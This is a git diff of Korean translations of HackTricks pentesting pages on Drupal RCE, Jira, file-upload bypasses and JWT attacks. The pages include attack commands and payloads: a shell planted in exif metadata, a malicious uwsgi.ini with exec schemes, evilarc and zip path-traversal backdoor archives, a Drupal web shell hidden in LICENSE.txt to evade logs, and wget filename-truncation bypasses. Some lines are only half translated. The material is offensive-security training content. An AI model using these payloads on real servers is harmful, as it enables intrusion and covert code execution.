can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ -I save the tool here also for ease of access: +**Windows**에서는 이 도구를 사용할 수도 있습니다: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ +편리한 접근을 위해 이 도구를 여기에도 저장합니다: {% file src="../.gitbook/assets/vncpwd.zip" %} @@ -60,23 +60,23 @@ I save the tool here also for ease of access: * `port:5900 RFB` -
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필수_). +**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks 지원하기 -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
{% endhint %} diff --git a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index f8b706d07..fef9889ab 100644 --- a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -21,17 +21,17 @@ Learn & practice GCP Hacking: 
 이전 버전의 Drupal **(버전 8 이전)**에서는 관리자로 로그인하고 **`PHP filter` 모듈을 활성화**할 수 있었습니다. 이 모듈은 (**확인**) _PHP Filter_ -> _구성 저장_ +_모듈_ -> (**확인**) _PHP Filter_ -> _구성 저장_ ![](<../../../.gitbook/assets/image (247) (1).png>) -그런 다음 _콘텐츠 추가_를 클릭하고 -> _기본 페이지_ 또는 _기사_ 선택 -> _본문에 php 쉘코드 작성_ -> _텍스트 형식_에서 _PHP 코드_ 선택 -> _미리보기_ 선택 +그런 다음 _콘텐츠 추가_ -> _기본 페이지_ 또는 _기사_ 선택 -> _본문에 php 쉘코드 작성_ -> _텍스트 형식_에서 _PHP 코드_ 선택 -> _미리보기_ 선택 ![](<../../../.gitbook/assets/image (338).png>) -마지막으로 새로 생성된 노드에 접근합니다: +마지막으로 새로 생성된 노드에 접근하세요: ```bash curl http://drupal-site.local/node/3 ``` @@ -97,7 +97,7 @@ _Extend_ 메뉴 (/admin/modules)에서 이미 설치된 플러그인으로 보 활성화 후: -
+
@@ -108,7 +108,7 @@ _Extend_ 메뉴 (/admin/modules)에서 이미 설치된 플러그인으로 보 * /admin/config/development/configuration/single/export * /admin/config/development/configuration/single/import -**Patch system.file.yml** +**system.file.yml 패치** 먼저 `allow_insecure_uploads`의 첫 번째 항목을 패치하는 것으로 시작하겠습니다: @@ -170,7 +170,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
-### Part 3 (기능 _문서 추가_ 활용하기) +### Part 3 (기능 _문서 추가_ 활용) 마지막 단계는 가장 간단하며, 두 개의 하위 단계로 나뉩니다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시어를 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것입니다. 두 번째는 우리의 페이로드를 포함하는 .txt 파일을 업로드하는 것입니다. @@ -194,11 +194,11 @@ php_flag engine on ``` 왜 이 트릭이 멋진가요? -웹 셸(우리는 이를 LICENSE.txt라고 부릅니다.)이 웹 서버에 배포되면, `$_COOKIE`를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 나타납니다. +웹 셸(우리는 이를 LICENSE.txt라고 부릅니다.)이 웹 서버에 배포되면, `$_COOKIE`를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 표시됩니다. 왜 우리의 웹 셸을 LICENSE.txt라고 이름 짓나요? -단순히 Drupal 코어에 이미 존재하는 다음 파일, 예를 들어 [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)를 사용하면, 339줄과 17.6 KB 크기의 파일이 있어 중간에 작은 PHP 코드 조각을 추가하기에 완벽합니다(파일이 충분히 크기 때문에). +단순히 Drupal 코어에 이미 존재하는 다음 파일, 예를 들어 [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)를 사용하면, 339줄과 17.6 KB 크기의 파일이 있어 중간에 작은 PHP 코드 조각을 추가하기에 완벽합니다(파일이 충분히 크기 때문에).
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index d79d73940..f2906e049 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). @@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## Check Privileges -Jira에서 **권한은** 인증된 사용자와 인증되지 않은 사용자 모두 `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 확인할 수 있습니다. 이러한 엔드포인트는 사용자의 현재 권한을 드러냅니다. **비인증 사용자에게 권한이 있는 경우** 보안 취약점이 발생할 수 있으며, 이는 **보상**의 대상이 될 수 있습니다. 마찬가지로, **인증된 사용자에게 예상치 못한 권한이 있는 경우**도 **취약점**을 강조합니다. +Jira에서 **권한은** 인증된 사용자와 인증되지 않은 사용자 모두 `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 확인할 수 있습니다. 이러한 엔드포인트는 사용자의 현재 권한을 공개합니다. **비인증 사용자에게 권한이 부여된 경우** 보안 취약점이 발생할 수 있으며, 이는 **보상**의 대상이 될 수 있습니다. 마찬가지로, **인증된 사용자에게 예상치 못한 권한이 부여된 경우**에도 **취약점**이 강조됩니다. 중요한 **업데이트**가 **2019년 2월 1일**에 이루어졌으며, 'mypermissions' 엔드포인트에 **'permission' 매개변수**를 포함해야 합니다. 이 요구 사항은 쿼리되는 권한을 명시하여 **보안을 강화**하는 것을 목표로 합니다: [여기에서 확인하세요](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) @@ -129,7 +129,7 @@ XSS가 발견되면, [**이 github repo**](https://github.com/cyllective/XSS-Pay * **리버스 셸**: 또는 리버스 셸을 얻을 수 있습니다. * **DOM 프록시**: 만약 컨플루언스가 사설 네트워크 내에 있다면, 접근 권한이 있는 사용자의 브라우저를 통해 연결을 설정하고 예를 들어 서버 명령을 실행할 수 있습니다. -
+
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). diff --git a/pentesting-web/file-upload/README.md b/pentesting-web/file-upload/README.md index eb15670f2..974bea679 100644 --- a/pentesting-web/file-upload/README.md +++ b/pentesting-web/file-upload/README.md @@ -15,9 +15,9 @@ GCP 해킹 배우기 및 연습하기: {% endhint %} -
+
-**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필요_). +**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 찾고 있습니다!** (_유창한 폴란드어 필기 및 구사 필수_). {% embed url="https://www.stmcyber.com/careers" %} @@ -37,10 +37,10 @@ GCP 해킹 배우기 및 연습하기: AAA.php ``` @@ -84,40 +84,40 @@ AAA<--SNIP 232 A-->AAA.php.png 1. Content-Type **단어 목록**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) * 파일의 시작 부분에 **실제 이미지의 바이트**를 추가하여 **매직 넘버** 검사를 우회합니다 (파일 명령을 혼란스럽게 함). 또는 **메타데이터** 내에 쉘을 삽입합니다:\ `exiftool -Comment="' >> img.png` -* **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 일부 표준 PHP 라이브러리를 사용하여, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. -* [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -* 웹 페이지가 **이미지 크기 조정**을 수행할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용합니다. 그러나 **IDAT 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. -* [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +* **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 일부 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. +* [**코드가 포함된 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) +* 웹 페이지가 **이미지 크기 조정**을 수행할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용할 수 있습니다. 그러나 **IDAT 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. +* [**코드가 포함된 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) * PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술입니다. 그러나 **tEXt 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. -* [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +* [**코드가 포함된 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) ### 확인할 기타 트릭 -* 이미 업로드된 파일의 이름을 **변경**할 수 있는 취약점을 찾습니다 (확장자를 변경). +* 이미 업로드된 파일의 이름을 **변경**할 수 있는 취약점을 찾습니다 (확장자 변경). * 백도어를 실행할 수 있는 **로컬 파일 포함** 취약점을 찾습니다. * **정보 유출 가능성**: -1. **동일한 이름**의 **동일한 파일**을 **여러 번** (그리고 **동시에**) 업로드합니다. +1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다. 2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다. -3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다. -4. **NTFS**에서 쉽게 삭제되지 않을 수 있는 파일을 업로드합니다. (Windows) 예: **“…:.jpg”** -5. **Windows**에서 이름에 **잘못된 문자**가 포함된 파일을 업로드합니다. (Windows) 예: `|<>*?”` -6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9. -* 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 시도합니다. +3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다. +4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. 예: **“…:.jpg”** (Windows). +5. **Windows**에서 이름에 **잘못된 문자**를 가진 파일을 업로드합니다. 예: `|<>*?”` (Windows). +6. **Windows**에서 **예약된** (**금지된**) **이름**을 가진 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9. +* 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 시도해 보세요. ### 특수 확장자 트릭 **PHP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하세요](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ **ASP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함). +`.phar` 파일은 자바의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함). -`.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**. +`.inc` 확장자는 때때로 **파일을 가져오는 데만 사용되는 PHP 파일**에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**. ## **Jetty RCE** -Jetty 서버에 XML 파일을 업로드할 수 있다면, [**새로운 \*.xml 및 \*.war가 자동으로 처리되기 때문에 RCE를 얻을 수 있습니다**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 셸을 기대하세요! +Jetty 서버에 XML 파일을 업로드할 수 있다면, [**새로운 \*.xml 및 \*.war가 자동으로 처리되기 때문에 RCE를 얻을 수 있습니다**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급한 대로 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 셸을 기대하세요! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>) @@ -125,9 +125,7 @@ Jetty 서버에 XML 파일을 업로드할 수 있다면, [**새로운 \*.xml 이 취약점에 대한 자세한 탐색은 원본 연구를 확인하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다. - -다음은 다양한 스킴을 보여주는 유해한 `uwsgi.ini` 파일의 예입니다: +원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히 '@' 연산자는 `@(filename)`으로 사용되며, 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위해 악용될 수 있습니다. ```ini [uwsgi] ; read from a symbol @@ -151,8 +149,8 @@ uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요 ## **wget File Upload/SSRF Trick** -어떤 경우에는 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있음을 알게 될 수 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사를 우회할 수 있습니다.**\ -**linux**에서 **파일 이름**의 **최대** 길이는 **255**이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다. +어떤 경우에는 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있음을 알게 될 수 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사는 우회될 수 있습니다.**\ +**linux**에서 **파일 이름**의 **최대** 길이는 **255**이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -175,7 +173,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Note that **다른 옵션** you may be thinking of to bypass this check is to make the **HTTP 서버가 다른 파일로 리디렉션**되도록 하여, 초기 URL이 체크를 우회하게 하고 wget이 새로운 이름으로 리디렉션된 파일을 다운로드하게 합니다. This **작동하지 않습니다** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드합니다**. +Note that **다른 옵션** you may be thinking of to bypass this check is to make the **HTTP 서버가 다른 파일로 리디렉션**되도록 하여, 초기 URL이 체크를 우회하게 하고 wget이 새로운 이름으로 리디렉션된 파일을 다운로드하게 됩니다. This **작동하지 않습니다** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드합니다**. ## Tools @@ -193,8 +191,8 @@ Note that **다른 옵션** you may be thinking of to bypass this check is to ma * [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) * Try **다양한 svg 페이로드** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* * [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -* If you can **웹 서버에 URL에서 이미지를 가져오도록 지시**하면 [SSRF](../ssrf-server-side-request-forgery/)를 악용할 수 있습니다. If this **이미지**가 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다. -* [**XXE 및 CORS** 우회 PDF-Adobe 업로드](pdf-upload-xxe-and-cors-bypass.md) +* If you can **웹 서버에 URL에서 이미지를 가져오도록 지시**하면 [SSRF](../ssrf-server-side-request-forgery)를 악용할 수 있습니다. If this **이미지**가 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다. +* [**XXE and CORS** 우회 with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) * 특별히 제작된 PDF로 XSS: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다. * Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **안티바이러스** * Check if there is any **크기 제한** uploading files @@ -246,7 +244,7 @@ python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 작동 중 오류를 겪지 않도록 보장합니다. +추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동 중 오류를 겪지 않도록 보장합니다. 아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다: ```python @@ -285,7 +283,7 @@ system($cmd); root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Hex 편집기 또는 vi로 수정**: zip 내부의 파일 이름을 vi 또는 hex 편집기를 사용하여 변경하여 "xxA"를 "../"로 변경하여 디렉토리를 탐색합니다. +3. **Hex 편집기 또는 vi로 수정**: zip 내부의 파일 이름을 vi 또는 hex 편집기를 사용하여 "xxA"를 "../"로 변경하여 디렉토리를 탐색합니다. ```bash :set modifiable @@ -314,7 +312,7 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작 다중 언어 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있으며, 이는 GIF와 RAR 아카이브로서 기능하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다. -다중 언어 파일의 핵심 유틸리티는 파일 유형에 따라 파일을 스크리닝하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 다중 언어 파일은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다. +다중 언어 파일의 핵심 유틸리티는 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 다중 언어 파일은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다. 그들의 적응성에도 불구하고, 다중 언어 파일은 한계에 직면합니다. 예를 들어, 다중 언어 파일이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 다중 언어 파일의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다. @@ -329,7 +327,7 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작 * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 6e9142312..b642ce670 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -15,9 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필요_). +If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 구사 필수_). {% embed url="https://www.stmcyber.com/careers" %} @@ -42,9 +42,9 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) to launch JWT attacks from Burp. -### 데이터 변조하기 (수정 없이) +### 데이터 수정 없이 변조하기 -서명은 그대로 두고 데이터를 변조하여 서버가 서명을 확인하는지 확인할 수 있습니다. 예를 들어 사용자 이름을 "admin"으로 변경해 보세요. +서명은 그대로 두고 데이터만 변조하여 서버가 서명을 확인하는지 확인할 수 있습니다. 예를 들어 사용자 이름을 "admin"으로 변경해 보세요. #### **토큰이 확인되나요?** @@ -52,18 +52,18 @@ JWT의 서명이 검증되는지 확인하려면: * 오류 메시지가 검증이 진행 중임을 나타내며, 자세한 오류에서 민감한 세부정보를 검토해야 합니다. * 반환된 페이지의 변경도 검증을 나타냅니다. -* 변경이 없으면 검증이 없음을 나타내며, 이때 페이로드 클레임을 변조해 볼 수 있습니다. +* 변경이 없으면 검증이 없음을 나타내며, 이때 페이로드 클레임 변조를 실험할 수 있습니다. ### 출처 -토큰이 서버 측에서 생성되었는지 클라이언트 측에서 생성되었는지를 확인하기 위해 프록시의 요청 기록을 검토하는 것이 중요합니다. +프록시의 요청 기록을 검토하여 토큰이 서버 측에서 생성되었는지 클라이언트 측에서 생성되었는지 확인하는 것이 중요합니다. * 클라이언트 측에서 처음 보이는 토큰은 키가 클라이언트 측 코드에 노출될 수 있음을 시사하며, 추가 조사가 필요합니다. -* 서버 측에서 발생한 토큰은 안전한 프로세스를 나타냅니다. +* 서버 측에서 유래한 토큰은 안전한 프로세스를 나타냅니다. ### 지속 시간 -토큰이 24시간 이상 지속되는지 확인하세요... 아마도 만료되지 않을 수도 있습니다. "exp" 필드가 있다면 서버가 이를 올바르게 처리하는지 확인하세요. +토큰이 24시간 이상 지속되는지 확인하세요... 아마도 만료되지 않을 것입니다. "exp" 필드가 있다면 서버가 이를 올바르게 처리하는지 확인하세요. ### HMAC 비밀 키 무차별 대입 @@ -71,9 +71,9 @@ JWT의 서명이 검증되는지 확인하려면: ### 알고리즘을 None으로 수정 -사용되는 알고리즘을 "None"으로 